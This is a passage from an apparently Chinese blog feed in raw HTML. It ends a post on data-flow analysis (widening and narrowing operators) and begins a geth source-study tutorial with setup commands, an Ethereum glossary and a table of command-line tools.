class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.01968em;">l</span><span class="mclose">}</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">min</span><span class="mopen">{</span><span class="mord mathnormal">i</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∈</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.05017em;">B</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">∣</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8304em;vertical-align:-0.136em;"></span><span class="mord mathnormal">h</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">i</span><span class="mclose">}]</span></span></span></span></li></ul><p>这样就可以把区间 [15, 75]、[11, 89]等等映射成 [10,100]，也即 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mopen">([</span><span class="mord">15</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">75</span><span class="mclose">])</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">[</span><span class="mord">10</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">100</span><span class="mclose">]</span></span></span></span>。由于状态数大幅减少，所以很大程度上加快了收敛速度。</p><p>再比如，对于如下代码我们比较是否应用基础 widening 的区别：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">y=<span class="number">0</span>;</span><br><span class="line"><span class="keyword">while</span>(input)&#123;</span><br><span class="line">    x = <span class="number">7</span>;</span><br><span class="line">    x = x+<span class="number">1</span>;</span><br><span class="line">    y = y+<span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>补充：需要理解什么是交汇的节点，比如循环的入口就是，可以理解为执行路径的交点。</p><p>有限集合为: $$\left{ \mathrm{−}\infty ,0,1,7,+\infty \right} $$，每次循环第二行处的状态如下图所示：</p><img src="https://cdn.blog-blockchain.xyz/202208061953535.png" alt="image-20220806195327364" style="zoom: 67%;" /><h3 id="基础-widening-的安全性和收敛性">基础 widening 的安全性和收敛性</h3><p>安全性需要保证：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⊑</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span> 这是容易确定的，因为原来的 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.10764em;">f</span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span> 是单调的，那么构造合适的 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02691em;">w</span></span></span></span> 即可。</p><p>收敛性由单调性容易得到保证。</p><h3 id="一般的-widening">一般的 widening</h3><p>基础的 widening 的精度不高，而且精度和收敛速度是不能两全的，但是一般的 widening 方法可以在一定程度上提高性能。一般的 widening 同时<strong>参考更新前和更新后的值来猜测最终会收敛的值</strong>。设 widening 算子 $\nabla $，它是我们自定义的规则。那么推断节点新的值可以表示为：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord text"><span class="mord"> DATA </span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathrm mtight" style="margin-right:0.01389em;">v</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord text"><span class="mord"> DATA </span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathrm mtight" style="margin-right:0.01389em;">v</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">∇</span><span class="mord"><span class="mord mathrm" style="margin-right:0.07778em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0778em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathrm mtight" style="margin-right:0.01389em;">v</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord"><span class="mord mathrm">MEET</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathrm mtight" style="margin-right:0.01389em;">v</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>再次以之前的代码为例，但是我们更改规则</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">y=<span class="number">0</span>;</span><br><span class="line"><span class="keyword">while</span>(input)&#123;</span><br><span class="line">    x = <span class="number">7</span>;</span><br><span class="line">    x = x+<span class="number">1</span>;</span><br><span class="line">    y = y+<span class="number">1</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>节点交汇操作规则如下，其中 T 表示格的最高层的元素</p><img src="https://cdn.blog-blockchain.xyz/202208062203873.png" alt="image-20220806220352816" style="zoom: 67%;" /><p>可以对比分析以上提到的不同的方式：</p><img src="https://cdn.blog-blockchain.xyz/202208062209273.png" alt="image-20220806220958195" style="zoom:67%;" /><h3 id="一般-widening-的安全性和收敛性">一般 widening 的安全性和收敛性</h3><p>为了保证安全性，构造 widening 算子的时候需要注意：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mord">∇</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⊑</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∧</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mord">∇</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⊑</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mclose">)</span></span></span></span></span></p><p>但是为了保证收敛性比较麻烦，没有通用的判断方法，因为 widening 算子与变换函数的趋势有关，也无法保证在半格上的单调性。</p><p>这里提及一种不收敛的情况，当多条路径交汇的时候，如果定义的交汇操作时逐个进行的，那么可能由于处理前驱节点的顺序不一样，造成不一样的结果。</p><h3 id="narrowing">narrowing</h3><p>widening 是只产生的区间比实际的区间更加大，而 narrowing 会将区间变小。通过再次<strong>应用原始转换函数对 Widening 的结果进行修正</strong>，narrowing 的方法可以提高 widening 的精度。简单的说，就是在某一步就不采用 widening 的方法，而是用原始的函数。例如下图 x 的值的区间在第 5 步突然缩小了。</p><img src="https://cdn.blog-blockchain.xyz/202208062339439.png" alt="image-20220806233948371" style="zoom: 67%;" /><p>引入 <strong>narrowing 算子</strong> <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord">Δ</span></span></span></span>：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">DATA</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathrm mtight" style="margin-right:0.01389em;">v</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">←</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">DATA</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathrm mtight" style="margin-right:0.01389em;">v</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mord">Δ</span><span class="mord"><span class="mord mathrm" style="margin-right:0.07778em;">f</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0778em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathrm mtight" style="margin-right:0.01389em;">v</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord"><span class="mord"><span class="mord mathrm">MEET</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathrm mtight" style="margin-right:0.01389em;">v</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>例如算子定义如下，当区间出现无穷时，可以缩小区间。</p><img src="https://cdn.blog-blockchain.xyz/202208092131922.png" alt="image-20220809213119845" style="zoom:50%;" /><h3 id="narrowing-的安全性和收敛性">narrowing 的安全性和收敛性</h3><p>这里核心是需要证明在 widening 基础上再使用 narrowing，也是安全的，保证不会出错。根据前面的定义，初始输入 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span></span></span></span> 经过任意路径上的多个状态转换函数后得到的值的交集（按照半格顺序取小），会大于交汇操作得到的值。而经过 widening 映射后的新的半格也会满足单调性，并且每个节点的值必须小于初始的的值。按照下图，可以知道即使是从 widening 后的不动点 <span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">G</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 再使用原来的转换函数若干次，得到的值会比 widening 的更小(精确)。</p><img src="https://cdn.blog-blockchain.xyz/202208092116158.png" alt="image-20220809211638060" style="zoom: 67%;" /><p>简单地说，如果算子满足如下条件就是安全的：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">x</span><span class="mord">Δ</span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">⊑</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">y</span></span></span></span></span></p><p><strong>narrowing 是不保证收敛的，即使收敛也不能保证能够快速收敛。</strong></p><p>根据上图可以知道，使用 narrowing 后的结果是在两个不动点之间，<strong>但是无法判断是否收敛</strong>。</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/pl/data-flow-analysis/</id>
    <link href="https://www.blog-blockchain.xyz/pl/data-flow-analysis/"/>
    <published>2022-10-04T13:30:33.000Z</published>
    <summary>系统介绍数据流分析的基本概念和方法，包括符号分析、活跃变量分析、单调框架和格理论基础，讨论数据流分析的收敛性、安全性和分配性，以及widen和narrow优化技术。</summary>
    <title>（二）数据流分析基础</title>
    <updated>2026-02-19T16:18:01.144Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="geth" scheme="https://www.blog-blockchain.xyz/categories/geth/"/>
    <category term="geth" scheme="https://www.blog-blockchain.xyz/tags/geth/"/>
    <content>
      <![CDATA[<blockquote><ol class="series-items"><li><a href="/geth/tx-signature/" title="交易的签名">交易的签名</a></li><li><a href="/geth/understand-receipt/" title="理解收据receipt">理解收据receipt</a></li><li><a href="/geth/blocks/" title="理解区块">理解区块</a></li><li><a href="/geth/understand-tx/" title="理解交易">理解交易</a></li><li><a href="/geth/blockchain-core/" title="blockchain核心">blockchain核心</a></li><li><a href="/geth/forkId/" title="forkId 解读">forkId 解读</a></li><li><a href="/geth/oracle-introduction/" title="oracle 原理和实现">oracle 原理和实现</a></li><li><a href="/geth/txlist/" title="TxList 解读">TxList 解读</a></li><li><a href="/geth/bloom-filter/" title="布隆过滤器原理">布隆过滤器原理</a></li><li><a href="/geth/tx-pool/" title="交易池分析">交易池分析</a></li><li><a href="/geth/MPT-Tree/" title="MPT树">MPT树</a></li><li><a href="/geth/block-sync/" title="区块同步">区块同步</a></li><li><a href="/geth/introduction/" title="geth源码学习——介绍">geth源码学习——介绍</a></li><li><a href="/geth/Geth-Unveiled-Ethereum-Startup/" title="How Geth starts its server">How Geth starts its server</a></li></ol></blockquote><p>项目地址：<a href="https://github.com/learnerLj/geth-analyze">https://github.com/learnerLj/geth-analyze</a></p><h2 id="环境准备">环境准备</h2><p>为了方便修改源码后进行调试，建议在 Linux 系统运行，阅读源码时用主机系统可能相对方便。</p><p><strong>安装虚拟机</strong>：建议 Ubuntu20.04，具体安装教程可见其他教程。希望读者有一定的 Linux 基础，熟悉常用命令，理解 Linux 配置文件的思想，会阅读命令行提示信息。安装好虚拟机后可设置代理（学习区块链必须要学会设置代理），自行寻找教程。</p><p><strong>准备环境</strong>：安装 nodejs、npm、goland、typora、中文输入法（可以用百度输入法）、vscode、goland、git，新手自行寻找教程，很容易找到。</p><p>建议使用 godoc，然后输入命令 <code>godoc --http localhost:6060</code>，可以方便地看到自动生成的文档。</p><p><strong>配置 go 编译器</strong>：ubuntu apt 包管理工具的 go 编译器版本太低，需要手动升级。</p><ol><li><p>下载二进制包，可在这里<a href="https://studygolang.com/dl">下载</a>，然后解压、复制到 <code>/usr/local</code>，这是我们一般放软件的地方，然后设置环境变量，建议学习 Linux 的环境变量如何设置，有什么作用。这个目录就是 GOROOT 目录，GOPATH 目录可以通过 <code>go env</code> 找到。</p></li><li><p>下载 go-ethereum，建议使用 apt 下载，因为不用额外的配置，并且附带了一些好用的工具。</p><p>添加源：<code>sudo add-apt-repository -y ppa:ethereum/ethereum</code></p><p>更新软件表：<code>sudo apt-get update</code></p><p>安装稳定版：<code>sudo apt-get install ethereum</code></p><p>遇见问题参考 <a href="https://geth.ethereum.org/docs/install-and-build/installing-geth">官方教程</a> 和博客。注意如果未设置代理，下载速度会很慢，耐心等待。关于如何设置代理，请自行查找教程。</p></li><li><p>克隆仓库，开始工作。配置好自己的 Git，不会使用请自行寻找教程。然后 VSCode、goland 配置好相关环境（自行寻找教程）</p></li><li><p>安装翻译插件，辅助阅读英文注释，推荐 JetBrain 系的 <a href="https://yiiguxing.github.io/TranslationPlugin/index.html">Transaction</a> 和 VSCode 的 Comment Translate。</p></li></ol><hr><p><strong>请注意：仓库基于较新的 geth 源码，本教程和源码都只用于学习，并且只负责解读以及如何修改，不会做实质性的改变</strong></p><h2 id="以太坊术语">以太坊术语</h2><p>在开始解读以太坊前，先了解以太坊中常见术语和名词。以便更好的学习后续内容。大部分内容来自 <a href="https://learnblockchain.cn/books/geth/part0/term.html">博客</a>，本人补充和完善。</p><h3 id="专有名词">专有名词</h3><ul><li>外部账户：EOAs（External Owned Accounts），关联个人掌握的私钥。可以用于发送交易（转移以太币或发送消息），形同一张带数字 ID 的储蓄卡。</li><li>合约账户：Contracts Accounts，可以在以太坊上存储合约代码与合约数据的账户，外部不能直接操作此账户。只能由外部账户直接或间接调用。</li><li>账户状态： account state，表示一个账户在以太坊中的状态。账户状态在账户数据变化时变化。账户状态包含四项信息：nonce、余额、账户存储内容根哈希值、账户代码哈希值。状态数据不直接存储在区块上。</li><li>账户 Nonce: 账户随机数，是账户的交易计数。以防止重放攻击。</li><li>智能合约：Smart Contract，是以太坊成为区块链 2.0 的立足点。以太坊支持通过图灵完备的高级编程语言编写智能合约代码。部署在链上后，可以接受来自外部的交易请求和事件，以触发执行特定的合约代码逻辑，进一步生成新的交易和事件。甚至调用其他的智能合约。</li><li>世界状态：state，管理账户地址到账户状态的映射关系。所有账户的状态构成整个区块链状态。</li><li>交易：Transaction，是外部与以太坊交互的唯一途径，必须由外部账户签名，矿工执行交易，最终打包到区块中。</li><li>交易收据：Receipt，是方便对交易进行零知识证明、索引和搜索，将交易执行过程中的一些特定信息编码为交易收据。</li><li>区块：block，是由一组交易和一些辅助信息（简称区块头）、其他区块头哈希构成的数据块。其他区块头哈希表示父区块或者叔区块。</li><li>叔块：Uncle Block，不能成为主链一部分的孤儿区块，如果有幸被后来的区块收留进区块链就变成了叔块。收留了孤块的区块有额外的奖励。孤块一旦成为叔块，该区块统一可获得奖励。通过叔块奖励机制，来降低以太坊软分叉和平衡网速慢的矿工利益。</li><li>随机数：nonce，记录在区块头中，努力工作的证明。</li><li>Gas：燃料是交易打包到区块时，在 EVM 运行所消耗的资源量的一种形象化概念，比喻需要燃料才能运行 EVM。在以太坊中，将 CPU 资源、存储资源按内置的规则，统一使用 Gas 作为资源单位表达。每执行一次虚拟机指令，均消耗一定的 Gas。</li><li>GasPrice: 燃料价格，任何交易都需要包含一个愿意支付的燃料单价，最终根据交易消耗的燃料量，计算手续费 (usedGas*gasPrice) 支付给矿工。</li><li>价格预测：GPO(Gas Price Oracle)，Gas 价格预测，根据历史交易的 GasPrice 预测未来 GasPrice 走势。</li></ul><h3 id="技术术语">技术术语</h3><ul><li>ZKP: Zero Knowledge Proof，零知识证明。</li><li>EVM：Ethereum Virtual Machine，以太坊虚拟机是执行交易的一个轻量级沙盒虚拟机。</li><li>Message：消息，是一个不能序列化的，并且只存在于以太坊运行环境中的虚拟对象，一条消息主要包括：消息的发送方、接收方、gasLimit 等等；</li><li>序列化：将数据使用 RLP 编码为一组字节数据，便于数据交换与存储。</li><li>RLP: 递归长度前缀编码，一种能够压缩数据的数据编码协议，在以太坊中常用于序列化数据。</li><li>MPT：默克尔压缩前缀树， Merkle Patricia Tree，是一种经过改良的、融合了默克尔树和前缀树两种树结构优点的数据结构，是以太坊中用来组织管理账户数据、生成交易集合哈希的重要数据结构。</li><li>Patricia Trie: 一种压缩前缀树，是一种更节省空间的树，对于 trie 的每个节点，如果该节点是其父节点唯一的儿子的话，就和父节点结合；</li><li>Merkle Tree: 默克尔树，也称为 Hash Tree，默克尔树叶子节点的 value 是数据项的内容，或者是数据项的哈希值；非叶子节点的 value 根据其孩子节点的信息，然后按照 Hash 算法计算而得出的。</li><li>Whisper：密语，是一种依托于 P2P 的通信协议，通过 Whisper 协议，节点可以将信息发送给某个特定节点，实现双节点私聊和按主题在多个节点上通信。主要用于大规模的点对点数据发现、信号协商、最小传输通信、完全隐私保护的 DApp 而设计的。</li><li>LES： Light Ethereum Subprotocol，以太坊客户端的轻量级的子协议，只需要下载区块头，其他详细信息可以按需获取；LES Wiki</li><li>Swarm： 蜂巢，是一个分布式存储平台和内容分发服务，是以太坊 web 3 技术栈的本地基础层服务;</li><li>LLL，Sperpent、Mutan 和 Solidity：用于编写智能合约代码的的编程语言，能被编译成 EVM 代码。</li><li>ERC20: 可以理解成 Ethereum 的一个 Token 协议规范，所有基于 Ethereum 开发的 Token 合约都遵守这个规范。遵守 ERC20 协议规范的 Token 可以被各种 Ethereum 钱包支持。</li><li>ERC721: 是在 ERC20 标准上建立的 Token 协议规范，是针对不可互换 Token(non-fungible tokens 简称 NFT)做的智能合约标准。</li></ul><h2 id="源码分析准备">源码分析准备</h2><h3 id="cmd-目录里自带的工具"><code>cmd</code> 目录里自带的工具.</h3><table><thead><tr><th style="text-align:center">Command</th><th>Description</th></tr></thead><tbody><tr><td style="text-align:center"><strong><code>geth</code></strong></td><td>命令行主程序，使用参考<a href="https://knarfeh.com/2018/03/10/go-ethereum%20%E6%BA%90%E7%A0%81%E7%AC%94%E8%AE%B0%EF%BC%88cmd%20%E6%A8%A1%E5%9D%97-geth%20%E5%91%BD%E4%BB%A4%EF%BC%89/">博客 1</a> <a href="https://github.com/blockchainGuide/blockchainguide/blob/main/source_code_analysis/ethereum/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E5%9F%BA%E7%A1%80%E7%90%86%E8%AE%BA%E9%83%A8%E5%88%86/%E4%BB%A5%E5%A4%AA%E5%9D%8A%E5%90%AF%E5%8A%A8%E5%8F%82%E6%95%B0%E8%AF%A6%E8%A7%A3.md">博客 2</a>和<a href="https://geth.ethereum.org/docs/interface/command-line-options">官方文档</a>。</td></tr><tr><td style="text-align:center"><code>clef</code></td><td>签名工具，可以在后端为<code>geth</code>签名.</td></tr><tr><td style="text-align:center"><code>devp2p</code></td><td>P2P 开发工具，不用运行全节点就可以和其他节点通信。</td></tr><tr><td style="text-align:center"><code>abigen</code></td><td>代码生成器，把合约封装成易用 Golang 的包.</td></tr><tr><td style="text-align:center"><code>bootnode</code></td><td>客户端的精简版，只实现了网络节点协议, 可以在私有网络中辅助寻找节点。</td></tr><tr><td style="text-align:center"><code>evm</code></td><td>以太坊虚拟机 EVM 的开发程序 能够在可配置的环境中运行底层的字节码片段，方便细致的调试以太坊操作码，深入执行过程。</td></tr><tr><td style="text-align:center"><code>rlpdump</code></td><td>以以太坊协议的编码 RLP (<a href="https://eth.wiki/en/fundamentals/rlp">Recursive Length Prefix</a>) 格式输出。</td></tr><tr><td style="text-align:center"><code>puppeth</code></td><td>创建新的以太坊网络时的引导。</td></tr></tbody></table><h3 id="项目结构">项目结构</h3><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span 